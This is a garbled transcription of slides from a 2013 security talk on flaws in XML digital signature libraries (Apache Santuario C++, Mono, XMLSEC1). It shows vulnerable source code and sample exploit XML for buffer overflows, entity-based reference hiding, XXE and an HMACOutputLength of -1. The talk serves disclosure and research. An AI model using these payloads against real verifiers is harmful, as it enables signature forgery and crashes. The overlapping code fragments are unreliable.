The Forger s Art Exploiting XML Digital Signature Implementations HITB 2013

Size: px
Start display at page:

Download "The Forger s Art Exploiting XML Digital Signature Implementations HITB 2013"

Transcription

1 The Forger s Art Exploiting XML Digital Signature Implementations HITB 2013 James Forshaw (@tiraniddo) Research. Response.

2 What am I going to talk about? XML Digital Signature Implementations Vulnerabilities and how to exploit Memory Corruption Denial of Service Parsing Issues Signature Spoofing Demos

3 Why? SOAP Web Service Security Visa 3D Secure / Verified by Visa SAML Assertions MS Office Signatures.NET ClickOnce/XBAP Manifests

4 Once upon a time, on a client site...

5 Implementations

6 Existing Attacks Been numerous attacks against XML Digital Signatures HMAC Truncation (CVE ) Signature Wrapping XSLT DoS/Remote Code Execution

7 What are XML Digital Signatures?

8 XML Digital Signatures

9 Signing XML <good/> Read Bytes Sign XML Document Signature

10 Signing XML S/MIME? PGP? <good/> XML Document Signature

11 Of Course Not As the "great" Steve Ballmer might have said: "XML Developers, XML Developers, XML Developers!"

12 Signing XML <good/> Reference <good/> Transform XML Document Canonicalize <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> SignedInfo Digest SHA1: 09381a0 9812f20... Digest <good/> SHA1: 5282abc 5efefa0... Sign Build Result Identity Signed XML Document

13 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

14 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

15 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

16 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

17 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

18 Verification Pipeline <good/> <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> Signature Parsing SignedInfo Verification Reference Verification?

19 Signature Parsing Bugs

20 CVE Affected Apache Santuario C++ Unauthenticated Heap overflow in Exclusive Canonicalization prefix list

21 Canonicalization Prefix List <Transform Algorithm=" <InclusiveNamespaces PrefixList="xsd ds" xmlns=" </Transform>

22 Canonicalization Prefix List <Transform Algorithm=" <InclusiveNamespaces PrefixList="xsd ds" xmlns=" </Transform>

23 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

24 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

25 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

26 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

27 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

28 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

29 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));

30 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList="&#20;"/> </Transform> </Transforms> </Reference>

31 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList="&#20;"/> </Transform> </Transforms> </Reference>

32 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList="&#20;"/> </Transform> </Transforms> </Reference>

33 First Transform xmlnslist 'A' 'A' 'A' 'A' 'A' 'A' 'A' 'A' nsbuf 'A' 'A' 'A' 'A' 'A' 'A' 'A' 'A'

34 Second Transform iswhitespace() == true i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf X X

35 Second Transform iswhitespace() == true i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf X X

36 Second Transform iswhitespace() == false i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf 'A' X

37 Second Transform iswhitespace() == false i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf 'A' 'A' X 'A' 'A' 'A' 'A' 'A' 'A'

38 CVE Affected Apache Santuario C++ Unauthenticated Stack overflow parsing a Reference URI Bonus: Fix was wrong, ended up with a heap overflow instead

39 Reference URIs <good id="xyz"> </good> Reference Type ID Reference Entire Document XPointer ID XPointer Entire Document External Example <Reference URI="#xyz"> <Reference URI=""> <Reference URI="#xpointer(id('xyz'))"> <Reference URI="#xpointer(/)"> <Reference URI="

40 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';

41 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';

42 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';

43 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';

44 Exploiting It <root> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#xpointer(id('AAAA...')"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </root>

45 Demo Time!

46 Reference Verification Bugs

47 XML Equivalence Different physical XML representations might still be equivalent <good x="1" y="2"/> <good y="2" x="1"></good>

48 Naïve Verification <good x="1" y="2"/> <good y="2" x="1"></good> SHA1 SHA1 1cc730a1b a6d5ff15...

49 Canonicalization (C14N) <good x="1" y="2"/> <good y="2" x="1"></good> Canonicalizer <good x="1" y="2"></good> SHA1 9c251a

50 Canonicalization (C14N) XML Document 1 XML Document 2 Canonicalizer Canonical XML SHA1 XXXXXXXXXXXXXX...

51 Mono C14N Vulnerability Affected Mono (unfixed) Also affected XMLSEC1 (fixed) Allows limited signed content modification Same author for both implementations

52 W3C Canonical XML

53 The Bug <good x='"'/> <good x="""></good> <good xmlns='"'/> <good xmlns="""></good> LibXML2 Requires Valid URLs for Namespaces, though Mono doesn't Still, xmlns=' works on XMLSEC1

54 Exploiting It <Transaction> <x:expiry xmlns:x=' time='10:00:00'/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> bool IsExpired(XmlNode trans) { XmlNode expiry = trans.getelementbyname(" "Expiry"); if(expiry!= null) { return CheckExpiry(expiry); return false;

55 Exploiting It <Transaction> <x:expiry xmlns:x=' time="10:00:00'/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> <Transaction> <x:expiry xmlns:x=" time="10:00:00"/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> NS Before = ' time="10:00:00' NS After = '

56 CVE Affected Apache Santuario C++ Signature Bypass by Hiding References Uses an Interesting parsing exploit Almost works in Mono, but they got Lucky!

57 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references bool referencecheckresult = mp_signedinfo->verify(); // Check the signature bool sigvfyresult = verifysignatureonlyinternal(); return sigvfyresult & referencecheckresult;

58 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); // Verify each reference element // // Check the signature bool sigvfyresult = verifysignatureonlyinternal(); bool DSIGSignedInfo::verify() { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult;

59 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;

60 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;

61 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;

62 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return true;

63 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);

64 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);

65 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);

66 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);

67 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> DSIGSignedInfo::load() ELEMENT_NODE <Reference> ELEMENT_NODE <Transforms> ELEMENT_NODE <Digest>

68 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> Not an ELEMENT_NODE ELEMENT_NODE <Reference> DSIGSignedInfo::load() Ignored

69 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> Not an ELEMENT_NODE ELEMENT_NODE <Reference> DSIGSignedInfo::load() Ignored

70 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None

71 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None

72 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None

73 Entity References ELEMENT_NODE <good> <!DOCTYPE good [ <!ENTITY ent "<b/>"> ]> <good> <a/>&ent;<c/> </good> ELEMENT_NODE <a> ENTITY_REF_NODE &ent; ELEMENT_NODE <c> ELEMENT_NODE <b>

74 Canonical Entity References Ref:

75 Canonical Entity References Ref:

76 Entity References after C14N <good> <a/><b/><c/> </good> ELEMENT_NODE <good> ELEMENT_NODE <a> ELEMENT_NODE <b> ELEMENT_NODE <c>

77 Exploiting It <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

78 Exploiting It <!DOCTYPE good [ <!ENTITY hacked "<Reference URI="">...</Reference>"> ]> <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms/> <DigestMethod/> <DigestValue>Bo0B5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

79 Exploiting It <!DOCTYPE good [ <!ENTITY hacked "<Reference URI="">...</Reference>"> ]> <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> &hacked; </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>

80 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> ENTITY_REF_NODE &hacked; DSIGSignedInfo::load() Ignored ELEMENT_NODE <Reference>

81 CVE-2013-XXXX Affected: Everyone! DTD processing during transformation Can lead to trivial XML DoS attacks Also file stealing through OOB XXE

82 Transforms All Transforms XSLT Envelope Base64 C14N Inclusive Exclusive XPath

83 Transform Chain <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms> <Transform Algorithm=" /> <Transform Algorithm=" /> </Transforms> <DigestMethod Algorithm=" /> <DigestValue>l8bqyMiBpK9m4zbmKnl2b2lZxfI=</DigestValue> </Reference> </SignedInfo>

84 Transform Input/Output Transform Input Type Output Type C14N XML Node Set Octet Stream Base64 Octet Stream Octet Stream Envelope XML Node Set XML Node Set XPath XML Node Set XML Node Set XSLT Octet Stream Octet Stream Transformation Chain XML Node Node Node Input Base64 XML Node Node Node C14N Output How can we do this?

85 Reparsing XML XSECTXFMInputSource is(chain, false); // Create a XercesParser and parse! XercesDOMParser parser; parser.setdonamespaces(true); parser.setcreateentityreferencenodes(true); parser.setdoschema(true); parser.parse(is); xsecsize_t errorcount = parser.geterrorcount(); if (errorcount > 0) throw XSECException(XSECException::XSLError); mp_parseddoc = parser.adoptdocument();

86 Reparsing XML XSECTXFMInputSource is(chain, false); // Create a XercesParser and parse! XercesDOMParser parser; parser.setdonamespaces(true); parser.setcreateentityreferencenodes(true); parser.setdoschema(true); parser.parse(is); xsecsize_t errorcount = parser.geterrorcount(); if (errorcount > 0) throw XSECException(XSECException::XSLError); mp_parseddoc = parser.adoptdocument(); DTD Parsing not Disabled!

87 Demo Time!

88 SignedInfo Verification

89 CVE Affected Apache C++ (again) Circumvented "fix" for HMAC Truncation (CVE ) By sheer ineptitude it ended up an DoS rather than a Signature Bypass

90 Background CVE

91 HMAC Truncation <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>80</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 80 bits

92 HMAC Truncation <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>0</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 0 bits

93 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());

94 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());

95 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());

96 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); So m_hmacoutputlength is an int?

97 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // First find the appropriate handler for the URI // Have a max output value! XSECAlgorithmHandler* handler = DOMNode *textnode = tmpsov->getfirstchild(); mapuritohandler(mp_signedinfo->getalgorithmuri()); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); bool sigvfyret = handler->verifybase64signature( m_signaturevaluesb.rawcharbuffer(), mp_signedinfo->gethmacoutputlength(), mp_signingkey);

98 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // First find the appropriate handler for the URI // Have a max output value! XSECAlgorithmHandler* handler = DOMNode *textnode = tmpsov->getfirstchild(); mapuritohandler(mp_signedinfo->getalgorithmuri()); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); bool sigvfyret = handler->verifybase64signature( m_signaturevaluesb.rawcharbuffer(), mp_signedinfo->gethmacoutputlength(), mp_signingkey);

99 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);

100 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);

101 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);

102 CVE bool comparebase64stringtoraw( const char * b64str, unsigned char * raw, unsigned int rawlen, unsigned int maxcompare) { unsigned int maxbytes, maxbits; div_t d = {0; if(maxcompare == 0) { maxcompare = rawlen; d = div(maxcompare, 8); maxbytes = d.quot; maxbits = d.rem; return comparebits(decode(b64str), raw, maxbytes, maxbits);

103 CVE bool comparebase64stringtoraw( const char * b64str, unsigned char * raw, unsigned int rawlen, unsigned int maxcompare) { unsigned int maxbytes, maxbits; div_t d = {0; if(maxcompare == 0) { maxcompare = rawlen; d = div(maxcompare, 8); maxbytes = d.quot; maxbits = d.rem; return comparebits(decode(b64str), raw, maxbytes, maxbits);

104 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

105 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

106 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

107 Div Function

108 Div Function HMACOutputLength = -1 maxcompare = 0xFFFFFFFF d.quot = 0, d.rem = -1 maxbytes = 0, maxbits = 0xFFFFFFFF

109 Exploiting <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>-1</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 8 bits 00

110 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

111 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

